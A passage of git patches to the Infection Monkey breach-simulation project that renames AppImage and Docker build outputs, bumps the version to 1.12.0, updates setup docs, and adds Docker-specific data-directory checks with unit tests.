Mon, 18 Oct 2021 16:06:04 +0300 Subject: [PATCH 421/454] Deployments: change the outputs of appimage build and docker build to conform to the naming convention of InfectionMonkey-v*.* AppImages are built into InfectionMonkey-v1.11.0.AppImage Docker is build into InfectionMonkey-docker-v1.11.0.tgz --- build_scripts/appimage/appimage.sh | 5 +++-- build_scripts/appimage/clean.sh | 4 ++-- build_scripts/docker/docker.sh | 13 +++++++------ 3 files changed, 12 insertions(+), 10 deletions(-) diff --git a/build_scripts/appimage/appimage.sh b/build_scripts/appimage/appimage.sh index 4b575e568..39d606e3d 100755 --- a/build_scripts/appimage/appimage.sh +++ b/build_scripts/appimage/appimage.sh @@ -119,7 +119,8 @@ build_package() { --deploy-deps-only="$MONGO_PATH/bin/mongod"\ --output appimage - move_package_to_dist_dir $dist_dir + dst_name="InfectionMonkey-v$version.AppImage" + move_package_to_dist_dir $dist_dir $dst_name popd } @@ -135,5 +136,5 @@ set_version() { } move_package_to_dist_dir() { - mv Infection_Monkey*.AppImage "$1/" + mv Infection_Monkey*.AppImage "$1/$2" } diff --git a/build_scripts/appimage/clean.sh b/build_scripts/appimage/clean.sh index 6ce76cd32..98f89b7e4 100755 --- a/build_scripts/appimage/clean.sh +++ b/build_scripts/appimage/clean.sh @@ -8,5 +8,5 @@ APPIMAGE_DIR="$(realpath $(dirname $BASH_SOURCE[0]))" rm -rf "$HOME/git/monkey" rm -rf "$HOME/.monkey_island" rm -rf "$APPIMAGE_DIR/squashfs-root" -rm "$APPIMAGE_DIR"/Infection_Monkey*x86_64.AppImage -rm "$APPIMAGE_DIR/../dist/Infection_Monkey*x86_64.AppImage" +rm "$APPIMAGE_DIR"/Infection_Monkey*.AppImage +rm "$APPIMAGE_DIR/../dist/InfectionMonkey*.AppImage" diff --git a/build_scripts/docker/docker.sh b/build_scripts/docker/docker.sh index 6f55ff6a0..24fdd6455 100755 --- a/build_scripts/docker/docker.sh +++ b/build_scripts/docker/docker.sh @@ -1,5 +1,4 @@ DOCKER_DIR="$(realpath $(dirname $BASH_SOURCE[0]))" -OUTPUT_NAME_TGZ="$DOCKER_DIR/infection_monkey_docker_$(date +%Y%m%d_%H%M%S).tgz" source "$DOCKER_DIR/../common.sh" @@ -41,12 +40,14 @@ build_package() { pushd ./docker docker_image_name="guardicore/monkey-island:$version" - tar_name="$DOCKER_DIR/dk.monkeyisland.$version.tar" + tar_name="$DOCKER_DIR/InfectionMonkey-docker-v$version.tar" build_docker_image_tar "$docker_image_name" "$tar_name" - build_docker_image_tgz "$tar_name" "$version" - move_package_to_dist_dir $dist_dir + tgz_name="$DOCKER_DIR/InfectionMonkey-docker-v$version.tgz" + build_docker_image_tgz "$tar_name" "$tgz_name" + + move_package_to_dist_dir $tgz_name $dist_dir popd } @@ -60,9 +61,9 @@ build_docker_image_tgz() { mkdir tgz mv "$1" ./tgz cp ./DOCKER_README.md ./tgz/README.md - tar -C ./tgz -cvf "$OUTPUT_NAME_TGZ" --gzip . + tar -C ./tgz -cvf "$2" --gzip . } move_package_to_dist_dir() { - mv $OUTPUT_NAME_TGZ "$1/" + mv "$1" "$2/" } From 226c72df5f5dc694276553ec2dd1110468078d8c Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 18 Oct 2021 17:33:19 +0300 Subject: [PATCH 422/454] Deployments: Rename appImage deployment only if a specific version is not specified With this change, Jenkins will output packages in the following naming conventions: Develop: InfectionMonkey-$commit_number_x86_64.AppImage Release: InfectionMonkey-v$version.AppImage --- build_scripts/appimage/appimage.sh | 17 +++++++++++------ build_scripts/appimage/infection-monkey.desktop | 2 +- 2 files changed, 12 insertions(+), 7 deletions(-) diff --git a/build_scripts/appimage/appimage.sh b/build_scripts/appimage/appimage.sh index 39d606e3d..5e2a25245 100755 --- a/build_scripts/appimage/appimage.sh +++ b/build_scripts/appimage/appimage.sh @@ -119,7 +119,12 @@ build_package() { --deploy-deps-only="$MONGO_PATH/bin/mongod"\ --output appimage - dst_name="InfectionMonkey-v$version.AppImage" + # Rename to + if $IS_RELEASE_BUILD; then + dst_name="InfectionMonkey-v$version.AppImage" + else + dst_name="" + fi move_package_to_dist_dir $dist_dir $dst_name popd @@ -127,14 +132,14 @@ build_package() { set_version() { # The linuxdeploy and appimage-builder tools will use the commit hash of the - # repo to name the AppImage, which is preferable to using "dev". If the - # version was specified in a command-line argument (i.e. not "dev"), then + # repo to name the AppImage. If the + # version was specified in a command-line argument, then # setting the VERSION environment variable will change this behavior. - if [ $1 != "dev" ]; then - export VERSION=$1 + if [ -n "$1" ]; then + export VERSION="$1" fi } move_package_to_dist_dir() { - mv Infection_Monkey*.AppImage "$1/$2" + mv InfectionMonkey*.AppImage "$1/$2" } diff --git a/build_scripts/appimage/infection-monkey.desktop b/build_scripts/appimage/infection-monkey.desktop index dcefbb51a..f53feaab9 100644 --- a/build_scripts/appimage/infection-monkey.desktop +++ b/build_scripts/appimage/infection-monkey.desktop @@ -1,6 +1,6 @@ [Desktop Entry] Type=Application -Name=Infection Monkey +Name=InfectionMonkey Exec=bash Comment=An automated breach and attack simulation platform Icon=monkey-icon From 25df96da63ce6f6191eb85d3585897f81891717e Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 18 Oct 2021 17:45:14 +0300 Subject: [PATCH 423/454] Deployments: Rename docker deployment only if a version is not specified With this change, Jenkins will output docker packages in the following naming conventions: Develop: InfectionMonkey-docker-$commit_number.tgz Release: InfectionMonkey-docker-v$version.tgz --- build_scripts/docker/docker.sh | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) diff --git a/build_scripts/docker/docker.sh b/build_scripts/docker/docker.sh index 24fdd6455..860667de6 100755 --- a/build_scripts/docker/docker.sh +++ b/build_scripts/docker/docker.sh @@ -39,12 +39,18 @@ build_package() { local dist_dir=$2 pushd ./docker + if [ -n "$1" ]; then + version="v$(git rev-parse --short HEAD)" + else + version="v$version" + fi + docker_image_name="guardicore/monkey-island:$version" - tar_name="$DOCKER_DIR/InfectionMonkey-docker-v$version.tar" + tar_name="$DOCKER_DIR/InfectionMonkey-docker-$version.tar" build_docker_image_tar "$docker_image_name" "$tar_name" - tgz_name="$DOCKER_DIR/InfectionMonkey-docker-v$version.tgz" + tgz_name="$DOCKER_DIR/InfectionMonkey-docker-$version.tgz" build_docker_image_tgz "$tar_name" "$tgz_name" move_package_to_dist_dir $tgz_name $dist_dir From 46ef9df1d2a1804276559c0a2a5487abc76bdc63 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 18 Oct 2021 17:46:41 +0300 Subject: [PATCH 424/454] Deployments: change the default monkey_version to "" If the version is none (default) the commit number will be used which is preferred in dev environment --- build_scripts/build_package.sh | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/build_scripts/build_package.sh b/build_scripts/build_package.sh index eebae5d89..26ca5588d 100755 --- a/build_scripts/build_package.sh +++ b/build_scripts/build_package.sh @@ -44,7 +44,6 @@ echo_help() { echo " (Default: $DEFAULT_REPO_MONKEY_HOME)" echo "" echo "--version A version number for the package." - echo " (Default: dev)" echo "" echo "--deployment A deployment type for the package." echo " (Default: develop)" @@ -110,7 +109,7 @@ agent_binary_dir="" as_root=false branch="develop" monkey_repo="$DEFAULT_REPO_MONKEY_HOME" -monkey_version="dev" +monkey_version="" package="" deployment_type="" From eedf4484bc6b39e3fdc0f03c5c89aa2aa60877c1 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 19 Oct 2021 12:12:25 +0300 Subject: [PATCH 425/454] Deployments: fix the extraction of commit number in docker.sh --- build_scripts/docker/docker.sh | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/build_scripts/docker/docker.sh b/build_scripts/docker/docker.sh index 860667de6..af719fb0d 100755 --- a/build_scripts/docker/docker.sh +++ b/build_scripts/docker/docker.sh @@ -15,6 +15,8 @@ setup_build_dir() { copy_entrypoint_to_build_dir "$build_dir" + build_commit=$(git rev-parse --git-dir "$monkey_repo" --short HEAD) + copy_monkey_island_to_build_dir "$monkey_repo/monkey" "$build_dir" copy_server_config_to_build_dir "$build_dir" modify_deployment "$deployment_type" "$build_dir" @@ -40,9 +42,9 @@ build_package() { pushd ./docker if [ -n "$1" ]; then - version="v$(git rev-parse --short HEAD)" - else version="v$version" + else + version="v$build_commit" fi docker_image_name="guardicore/monkey-island:$version" From 6b0a689adb72a03f0c63329e504747e38ae4dd7d Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 19 Oct 2021 11:02:50 -0400 Subject: [PATCH 426/454] Docker: Fix `git rev-parse` command Add -C to git command in order to execute rev-parse outside the repo. --- build_scripts/docker/docker.sh | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/build_scripts/docker/docker.sh b/build_scripts/docker/docker.sh index af719fb0d..519cc54d0 100755 --- a/build_scripts/docker/docker.sh +++ b/build_scripts/docker/docker.sh @@ -15,7 +15,7 @@ setup_build_dir() { copy_entrypoint_to_build_dir "$build_dir" - build_commit=$(git rev-parse --git-dir "$monkey_repo" --short HEAD) + build_commit=$(git -C "$monkey_repo" rev-parse --short HEAD) copy_monkey_island_to_build_dir "$monkey_repo/monkey" "$build_dir" copy_server_config_to_build_dir "$build_dir" @@ -44,7 +44,7 @@ build_package() { if [ -n "$1" ]; then version="v$version" else - version="v$build_commit" + version="$build_commit" fi docker_image_name="guardicore/monkey-island:$version" From 530ba633d286f835194e0d5632adbf33812799c5 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 21 Oct 2021 14:36:01 +0200 Subject: [PATCH 427/454] Build: Add build commit to appimage build name --- build_scripts/appimage/appimage.sh | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/build_scripts/appimage/appimage.sh b/build_scripts/appimage/appimage.sh index 5e2a25245..032ae7663 100755 --- a/build_scripts/appimage/appimage.sh +++ b/build_scripts/appimage/appimage.sh @@ -35,6 +35,8 @@ setup_build_dir() { mkdir -p "$BUILD_DIR" + build_commit=$(git -C "$monkey_repo" rev-parse --short HEAD) + copy_monkey_island_to_build_dir "$monkey_repo/monkey" "$BUILD_DIR" copy_server_config_to_build_dir modify_deployment "$deployment_type" "$BUILD_DIR" @@ -123,7 +125,7 @@ build_package() { if $IS_RELEASE_BUILD; then dst_name="InfectionMonkey-v$version.AppImage" else - dst_name="" + dst_name="InfectionMonkey-$build_commit.AppImage" fi move_package_to_dist_dir $dist_dir $dst_name From e406294b2845aea6ccf0ca5c3c465b66fa761b1c Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 21 Oct 2021 16:43:12 +0200 Subject: [PATCH 428/454] Changelog: Log for broken updates issue --- CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 929bf73f9..148637c72 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -59,6 +59,7 @@ Changelog](https://keepachangelog.com/en/1.0.0/). - Bug that periodically cleared the telemetry table's filter. #1392 - Crashes, stack traces, and other malfunctions when data from older versions of Infection Monkey is present in the data directory. #1114 +- Broken update links. #1524 ### Security - Generate a random password when creating a new user for CommunicateAsNewUser From 6d827ad1af4fb280e7c5d67e280f45a799e723dd Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 21 Oct 2021 17:02:37 +0200 Subject: [PATCH 429/454] Build: Refactor commit id --- build_scripts/appimage/appimage.sh | 7 +++---- build_scripts/build_package.sh | 3 ++- build_scripts/common.sh | 5 +++++ build_scripts/docker/docker.sh | 7 +++---- 4 files changed, 13 insertions(+), 9 deletions(-) diff --git a/build_scripts/appimage/appimage.sh b/build_scripts/appimage/appimage.sh index 032ae7663..5619d2525 100755 --- a/build_scripts/appimage/appimage.sh +++ b/build_scripts/appimage/appimage.sh @@ -35,8 +35,6 @@ setup_build_dir() { mkdir -p "$BUILD_DIR" - build_commit=$(git -C "$monkey_repo" rev-parse --short HEAD) - copy_monkey_island_to_build_dir "$monkey_repo/monkey" "$BUILD_DIR" copy_server_config_to_build_dir modify_deployment "$deployment_type" "$BUILD_DIR" @@ -107,7 +105,8 @@ remove_python_appdir_artifacts() { build_package() { local version=$1 - local dist_dir=$2 + local commit_id=$2 + local dist_dir=$3 log_message "Building AppImage" set_version "$version" @@ -125,7 +124,7 @@ build_package() { if $IS_RELEASE_BUILD; then dst_name="InfectionMonkey-v$version.AppImage" else - dst_name="InfectionMonkey-$build_commit.AppImage" + dst_name="InfectionMonkey-$commit_id.AppImage" fi move_package_to_dist_dir $dist_dir $dst_name diff --git a/build_scripts/build_package.sh b/build_scripts/build_package.sh index 26ca5588d..e787fdd35 100755 --- a/build_scripts/build_package.sh +++ b/build_scripts/build_package.sh @@ -198,7 +198,8 @@ install_package_specific_build_prereqs "$WORKSPACE" setup_build_dir "$agent_binary_dir" "$monkey_repo" "$deployment_type" -build_package "$monkey_version" "$DIST_DIR" +commit_id=$(get_commit_id "$monkey_repo") +build_package "$monkey_version" "$commit_id" "$DIST_DIR" log_message "Finished building package: $package" exit 0 diff --git a/build_scripts/common.sh b/build_scripts/common.sh index a8e7c190a..2f244fd51 100644 --- a/build_scripts/common.sh +++ b/build_scripts/common.sh @@ -93,3 +93,8 @@ remove_node_modules() { rm -rf "$1/node_modules" rm -rf "$1/.npm" } + +get_commit_id() { + local monkey_repo=$1 + echo $(git -C "$monkey_repo" rev-parse --short HEAD) +} diff --git a/build_scripts/docker/docker.sh b/build_scripts/docker/docker.sh index 519cc54d0..42004f8f7 100755 --- a/build_scripts/docker/docker.sh +++ b/build_scripts/docker/docker.sh @@ -15,8 +15,6 @@ setup_build_dir() { copy_entrypoint_to_build_dir "$build_dir" - build_commit=$(git -C "$monkey_repo" rev-parse --short HEAD) - copy_monkey_island_to_build_dir "$monkey_repo/monkey" "$build_dir" copy_server_config_to_build_dir "$build_dir" modify_deployment "$deployment_type" "$build_dir" @@ -38,13 +36,14 @@ copy_server_config_to_build_dir() { build_package() { local version=$1 - local dist_dir=$2 + local commit_id=$2 + local dist_dir=$3 pushd ./docker if [ -n "$1" ]; then version="v$version" else - version="$build_commit" + version="$commit_id" fi docker_image_name="guardicore/monkey-island:$version" From d55cbcfbd314bd1996762aa0571c6f389167b7a9 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 21 Oct 2021 17:25:00 +0200 Subject: [PATCH 430/454] Build: Fix move package to dist dir on appimage --- build_scripts/appimage/appimage.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/build_scripts/appimage/appimage.sh b/build_scripts/appimage/appimage.sh index 5619d2525..a5d0bebc0 100755 --- a/build_scripts/appimage/appimage.sh +++ b/build_scripts/appimage/appimage.sh @@ -142,5 +142,5 @@ set_version() { } move_package_to_dist_dir() { - mv InfectionMonkey*.AppImage "$1/$2" + mv Infection*Monkey*.AppImage "$1/$2" } From c3f581290610ea35111572bf0a78d608cda665d3 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 21 Oct 2021 12:19:08 -0400 Subject: [PATCH 431/454] Build: Refactor agent versioning --- build_scripts/appimage/appimage.sh | 25 +++++++------------------ 1 file changed, 7 insertions(+), 18 deletions(-) diff --git a/build_scripts/appimage/appimage.sh b/build_scripts/appimage/appimage.sh index a5d0bebc0..fead9901a 100755 --- a/build_scripts/appimage/appimage.sh +++ b/build_scripts/appimage/appimage.sh @@ -104,12 +104,16 @@ remove_python_appdir_artifacts() { } build_package() { - local version=$1 local commit_id=$2 local dist_dir=$3 log_message "Building AppImage" - set_version "$version" + + if [ -n "$1" ]; then + local version="v$1" + else + local version="$commit_id" + fi pushd "$APPIMAGE_DIR" ARCH="x86_64" linuxdeploy \ @@ -120,27 +124,12 @@ build_package() { --deploy-deps-only="$MONGO_PATH/bin/mongod"\ --output appimage - # Rename to - if $IS_RELEASE_BUILD; then - dst_name="InfectionMonkey-v$version.AppImage" - else - dst_name="InfectionMonkey-$commit_id.AppImage" - fi + dst_name="InfectionMonkey-$version.AppImage" move_package_to_dist_dir $dist_dir $dst_name popd } -set_version() { - # The linuxdeploy and appimage-builder tools will use the commit hash of the - # repo to name the AppImage. If the - # version was specified in a command-line argument, then - # setting the VERSION environment variable will change this behavior. - if [ -n "$1" ]; then - export VERSION="$1" - fi -} - move_package_to_dist_dir() { mv Infection*Monkey*.AppImage "$1/$2" } From fcc444b098ee3cce140237c07ba474c31d1bc230 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 22 Oct 2021 10:03:18 +0300 Subject: [PATCH 432/454] Docs: change installer filenames in docker and appImage setup docs --- docs/content/setup/docker.md | 4 ++-- docs/content/setup/linux.md | 8 ++++---- 2 files changed, 6 insertions(+), 6 deletions(-) diff --git a/docs/content/setup/docker.md b/docs/content/setup/docker.md index d92aa1bf5..f195caf34 100644 --- a/docs/content/setup/docker.md +++ b/docs/content/setup/docker.md @@ -23,13 +23,13 @@ The Infection Monkey Docker container works on Linux only. It is not compatible 1. Extract the Monkey Island Docker tarball: ```bash - tar -xvzf monkey-island-docker.tar.gz + tar -xvzf InfectionMonkey-docker-v1.12.0.tgz ``` 1. Load the Monkey Island Docker image: ```bash - sudo docker load -i dk.monkeyisland.VERSION.tar + sudo docker load -i InfectionMonkey-docker-v1.12.0.tar ``` ### 2. Start MongoDB diff --git a/docs/content/setup/linux.md b/docs/content/setup/linux.md index 7fcd09d24..7d577f2a5 100644 --- a/docs/content/setup/linux.md +++ b/docs/content/setup/linux.md @@ -27,11 +27,11 @@ installed, but the ones that we've tested are: 1. Make the AppImage package executable: ```bash - chmod u+x Infection_Monkey_v1.11.0.AppImage + chmod u+x InfectionMonkey-v1.12.0.AppImage ``` 1. Start Monkey Island by running the Infection Monkey AppImage package: ```bash - ./Infection_Monkey_v1.11.0.AppImage + ./InfectionMonkey-v1.12.0.AppImage ``` 1. Access the Monkey Island web UI by pointing your browser at `https://localhost:5000`. @@ -56,7 +56,7 @@ private certificate authority. `server_config.json` file. ```bash - ./Infection_Monkey_v1.11.0.AppImage --setup-only + ./InfectionMonkey-v1.12.0.AppImage --setup-only ``` 1. (Optional but recommended) Move your `.crt` and `.key` files to @@ -92,7 +92,7 @@ private certificate authority. 1. Start Monkey Island by running the Infection Monkey AppImage package: ```bash - ./Infection_Monkey_v1.11.0.AppImage + ./InfectionMonkey-v1.12.0.AppImage ``` 1. Access the Monkey Island web UI by pointing your browser at From 82cffc4748dc8ed611bdb7d2716b0d5a946539e7 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 22 Oct 2021 10:03:58 +0300 Subject: [PATCH 433/454] Docs: add a note about possibility to run AppImage from WSL --- docs/content/setup/linux.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/docs/content/setup/linux.md b/docs/content/setup/linux.md index 7d577f2a5..275330c2c 100644 --- a/docs/content/setup/linux.md +++ b/docs/content/setup/linux.md @@ -23,6 +23,9 @@ installed, but the ones that we've tested are: - Ubuntu Focal 20.04 - Ubuntu Hirsute 21.04 +On Windows, AppImage can be run in WSL. + + ## Deployment 1. Make the AppImage package executable: From c8b1694d275baf4ca647986de700b95f08a8636d Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 22 Oct 2021 13:13:14 +0300 Subject: [PATCH 434/454] Island: add an exit import statement because when MSI is built exit method is not found --- monkey/monkey_island/cc/server_setup.py | 1 + 1 file changed, 1 insertion(+) diff --git a/monkey/monkey_island/cc/server_setup.py b/monkey/monkey_island/cc/server_setup.py index 8b8e433ea..dd5547659 100644 --- a/monkey/monkey_island/cc/server_setup.py +++ b/monkey/monkey_island/cc/server_setup.py @@ -3,6 +3,7 @@ import json import logging import sys from pathlib import Path +from sys import exit from threading import Thread from typing import Tuple From f6e02e2a6adcc22b531ede8501509235e86b0f7a Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 22 Oct 2021 13:52:11 +0300 Subject: [PATCH 435/454] Project: bump version numbers from 1.11.0 to 1.12.0 for release --- monkey/common/version.py | 2 +- monkey/monkey_island/cc/ui/package.json | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/common/version.py b/monkey/common/version.py index 3582caa72..5c94adc8d 100644 --- a/monkey/common/version.py +++ b/monkey/common/version.py @@ -4,7 +4,7 @@ import argparse from pathlib import Path MAJOR = "1" -MINOR = "11" +MINOR = "12" PATCH = "0" build_file_path = Path(__file__).parent.joinpath("BUILD") diff --git a/monkey/monkey_island/cc/ui/package.json b/monkey/monkey_island/cc/ui/package.json index 7689d95b7..da6200c25 100644 --- a/monkey/monkey_island/cc/ui/package.json +++ b/monkey/monkey_island/cc/ui/package.json @@ -1,6 +1,6 @@ { "private": true, - "version": "1.11.0", + "version": "1.12.0", "name": "infection-monkey", "description": "Infection Monkey C&C UI", "scripts": { From 97642f45dc3d460c1c1de0cd2feeec0eeaa519ff Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 25 Oct 2021 11:13:06 +0300 Subject: [PATCH 436/454] Island: if the data directory is empty no need to consider backing it up --- monkey/monkey_island/cc/setup/data_dir.py | 11 ++++++++++- .../monkey_island/cc/setup/test_data_dir.py | 7 +++++++ 2 files changed, 17 insertions(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/setup/data_dir.py b/monkey/monkey_island/cc/setup/data_dir.py index c728dca04..e2697d5d5 100644 --- a/monkey/monkey_island/cc/setup/data_dir.py +++ b/monkey/monkey_island/cc/setup/data_dir.py @@ -1,4 +1,5 @@ import logging +import os import shutil from pathlib import Path @@ -15,7 +16,7 @@ class IncompatibleDataDirectory(Exception): def setup_data_dir(data_dir_path: Path) -> None: logger.info(f"Setting up data directory at {data_dir_path}.") - if data_dir_path.exists() and _data_dir_version_mismatch_exists(data_dir_path): + if _is_data_dir_old(data_dir_path): logger.info("Version in data directory does not match the Island's version.") _handle_old_data_directory(data_dir_path) create_secure_directory(str(data_dir_path)) @@ -23,6 +24,14 @@ def setup_data_dir(data_dir_path: Path) -> None: logger.info("Data directory set up.") +def _is_data_dir_old(data_dir_path: Path) -> bool: + dir_exists = data_dir_path.exists() + if not dir_exists or not os.listdir(data_dir_path): + return False + + return _data_dir_version_mismatch_exists(data_dir_path) + + def _handle_old_data_directory(data_dir_path: Path) -> None: should_delete_data_directory = _prompt_user_to_delete_data_directory(data_dir_path) if should_delete_data_directory: diff --git a/monkey/tests/unit_tests/monkey_island/cc/setup/test_data_dir.py b/monkey/tests/unit_tests/monkey_island/cc/setup/test_data_dir.py index fe60d227d..34912ef50 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/setup/test_data_dir.py +++ b/monkey/tests/unit_tests/monkey_island/cc/setup/test_data_dir.py @@ -77,3 +77,10 @@ def test_data_dir_setup_not_needed(temp_data_dir_path, temp_version_file_path): setup_data_dir(temp_data_dir_path) assert temp_version_file_path.read_text() == current_version assert bogus_file_path.is_file() + + +def test_empty_data_dir(temp_data_dir_path, temp_version_file_path): + temp_data_dir_path.mkdir() + + setup_data_dir(temp_data_dir_path) + assert temp_version_file_path.read_text() == current_version From 9f9744a77f5d08bfa5aafb7a31611c61692402a9 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Mon, 25 Oct 2021 14:49:22 +0200 Subject: [PATCH 437/454] Docs: Update docker Upgrading section --- docs/content/setup/docker.md | 20 ++++++++++++-------- 1 file changed, 12 insertions(+), 8 deletions(-) diff --git a/docs/content/setup/docker.md b/docs/content/setup/docker.md index f195caf34..92f076655 100644 --- a/docs/content/setup/docker.md +++ b/docs/content/setup/docker.md @@ -63,16 +63,16 @@ been signed by a private certificate authority. ### 3b. Start Monkey Island with user-provided certificate -1. Create a directory named `monkey_island_data`. This will serve as the - location where Infection Monkey stores its configuration and runtime - artifacts. +1. Create a directory named `monkey_island_data`. If you already have it, + **make sure it's empty**. This will serve as the location where Infection + Monkey stores its configuration and runtime artifacts. ```bash mkdir ./monkey_island_data chmod 700 ./monkey_island_data ``` -1. Run Monkey Island with the `--setup-only` flag to populate the `./monkey_island_data` directory with a default `server_config.json` file. +2. Run Monkey Island with the `--setup-only` flag to populate the `./monkey_island_data` directory with a default `server_config.json` file. ```bash sudo docker run \ @@ -84,16 +84,16 @@ been signed by a private certificate authority. guardicore/monkey-island:VERSION --setup-only ``` -1. Move your `.crt` and `.key` files to `./monkey_island_data`. +3. Move your `.crt` and `.key` files to `./monkey_island_data`. -1. Make sure that your `.crt` and `.key` files are readable and writeable only by you. +4. Make sure that your `.crt` and `.key` files are readable and writeable only by you. ```bash chmod 600 ./monkey_island_data/ chmod 600 ./monkey_island_data/ ``` -1. Edit `./monkey_island_data/server_config.json` to configure Monkey Island +5. Edit `./monkey_island_data/server_config.json` to configure Monkey Island to use your certificate. Your config should look something like this: ```json {linenos=inline,hl_lines=["11-14"]} @@ -114,7 +114,7 @@ been signed by a private certificate authority. } ``` -1. Start the Monkey Island server: +6. Start the Monkey Island server: ```bash sudo docker run \ @@ -135,6 +135,10 @@ Currently, there's no "upgrade-in-place" option when a new version is released. To get an updated version, download it, stop the current container and run the installation commands again with the new file. +When running an updated version using a volume make sure that you have empty +volume for the Island. Also make sure that you don't have an old mongodb +volume. + If you'd like to keep your existing configuration, you can export it to a file using the *Export config* button and then import it to the new Monkey Island. From cebd41b26425ea51a4087600bf73d0088df0bdd8 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 25 Oct 2021 16:25:33 +0300 Subject: [PATCH 438/454] Build: change docker container to set MONKEY_DOCKER_CONTAINER env var. This variable is needed because we can't prompt for data dir removal on docker like we do on other deployments Due to the fact that docker is not running interactively and user might be running on an old data dir if he uses volumes, we need special case for docker --- build_scripts/docker/Dockerfile | 1 + monkey/monkey_island/cc/setup/data_dir.py | 12 ++++++ monkey/monkey_island/cc/setup/env_utils.py | 8 ++++ .../monkey_island/cc/setup/test_data_dir.py | 38 ++++++++++++++++--- 4 files changed, 53 insertions(+), 6 deletions(-) create mode 100644 monkey/monkey_island/cc/setup/env_utils.py diff --git a/build_scripts/docker/Dockerfile b/build_scripts/docker/Dockerfile index 2637d3725..ecd2ce296 100644 --- a/build_scripts/docker/Dockerfile +++ b/build_scripts/docker/Dockerfile @@ -18,6 +18,7 @@ COPY --from=builder /monkey /monkey WORKDIR /monkey EXPOSE 5000 EXPOSE 5001 +ENV MONKEY_DOCKER_CONTAINER=true RUN groupadd -r monkey-island && useradd --no-log-init -r -g monkey-island monkey-island RUN chmod 444 /monkey/monkey_island/cc/server.key RUN chmod 444 /monkey/monkey_island/cc/server.csr diff --git a/monkey/monkey_island/cc/setup/data_dir.py b/monkey/monkey_island/cc/setup/data_dir.py index e2697d5d5..72a99b59f 100644 --- a/monkey/monkey_island/cc/setup/data_dir.py +++ b/monkey/monkey_island/cc/setup/data_dir.py @@ -5,6 +5,7 @@ from pathlib import Path from common.version import get_version from monkey_island.cc.server_utils.file_utils import create_secure_directory +from monkey_island.cc.setup.env_utils import is_running_on_docker from monkey_island.cc.setup.version_file_setup import get_version_from_dir, write_version logger = logging.getLogger(__name__) @@ -26,6 +27,17 @@ def setup_data_dir(data_dir_path: Path) -> None: def _is_data_dir_old(data_dir_path: Path) -> bool: dir_exists = data_dir_path.exists() + + if is_running_on_docker(): + if _data_dir_version_mismatch_exists(data_dir_path): + error_message = "Found an old volume. " + "You must create an empty volume for each docker container " + "as specified in setup documentation: " + "https://www.guardicore.com/infectionmonkey/docs/setup/docker/" + raise IncompatibleDataDirectory(error_message) + else: + return False + if not dir_exists or not os.listdir(data_dir_path): return False diff --git a/monkey/monkey_island/cc/setup/env_utils.py b/monkey/monkey_island/cc/setup/env_utils.py new file mode 100644 index 000000000..07f6417ea --- /dev/null +++ b/monkey/monkey_island/cc/setup/env_utils.py @@ -0,0 +1,8 @@ +import os + +# Must match evn var name in build_scripts/docker/Dockerfile:21 +DOCKER_ENV_VAR = "MONKEY_DOCKER_CONTAINER" + + +def is_running_on_docker(): + return os.environ.get(DOCKER_ENV_VAR) == "true" diff --git a/monkey/tests/unit_tests/monkey_island/cc/setup/test_data_dir.py b/monkey/tests/unit_tests/monkey_island/cc/setup/test_data_dir.py index 34912ef50..fd1dbb693 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/setup/test_data_dir.py +++ b/monkey/tests/unit_tests/monkey_island/cc/setup/test_data_dir.py @@ -3,6 +3,7 @@ from pathlib import Path import pytest from monkey_island.cc.setup.data_dir import IncompatibleDataDirectory, setup_data_dir +from monkey_island.cc.setup.env_utils import DOCKER_ENV_VAR from monkey_island.cc.setup.version_file_setup import _version_filename current_version = "1.1.1" @@ -27,6 +28,12 @@ def temp_version_file_path(temp_data_dir_path) -> Path: return temp_data_dir_path / _version_filename +def create_bogus_file(dir_path: Path) -> Path: + bogus_file_path = dir_path / "test.txt" + bogus_file_path.touch() + return bogus_file_path + + def test_setup_data_dir(temp_data_dir_path, temp_version_file_path): data_dir_path = temp_data_dir_path setup_data_dir(data_dir_path) @@ -41,8 +48,7 @@ def test_old_version_removed(monkeypatch, temp_data_dir_path, temp_version_file_ temp_data_dir_path.mkdir() temp_version_file_path.write_text(old_version) - bogus_file_path = temp_data_dir_path / "test.txt" - bogus_file_path.touch() + bogus_file_path = create_bogus_file(temp_data_dir_path) setup_data_dir(temp_data_dir_path) @@ -58,8 +64,7 @@ def test_old_version_not_removed( temp_data_dir_path.mkdir() temp_version_file_path.write_text(old_version) - bogus_file_path = temp_data_dir_path / "test.txt" - bogus_file_path.touch() + bogus_file_path = create_bogus_file(temp_data_dir_path) with pytest.raises(IncompatibleDataDirectory): setup_data_dir(temp_data_dir_path) @@ -71,8 +76,7 @@ def test_old_version_not_removed( def test_data_dir_setup_not_needed(temp_data_dir_path, 